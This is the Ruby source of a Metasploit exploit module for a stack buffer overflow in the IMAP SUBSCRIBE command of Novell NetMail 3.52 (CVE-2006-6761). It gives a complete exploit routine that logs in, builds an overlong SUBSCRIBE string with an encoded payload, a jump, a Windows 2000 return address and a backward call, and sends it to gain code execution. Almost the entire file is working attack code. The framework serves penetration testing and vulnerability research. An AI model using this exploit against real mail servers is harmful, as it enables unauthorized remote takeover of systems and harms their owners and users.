metasploit-framework/modules/exploits/windows/imap/novell_netmail_subscribe.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
super(update_info(info,
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'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
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'Description' => %q{
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
verb. By sending an overly long string, an attacker can overwrite the
buffer and control program execution.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-6761' ],
[ 'OSVDB', '31360' ],
[ 'BID', '21728' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2006'))
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end
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def exploit
sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
sploit << [0xe8, -485].pack('CV') + rand_text_english(150)
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info = connect_login
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if (info == true)
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n")
else
print_status("Not falling through with exploit")
end
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handler
disconnect
end
end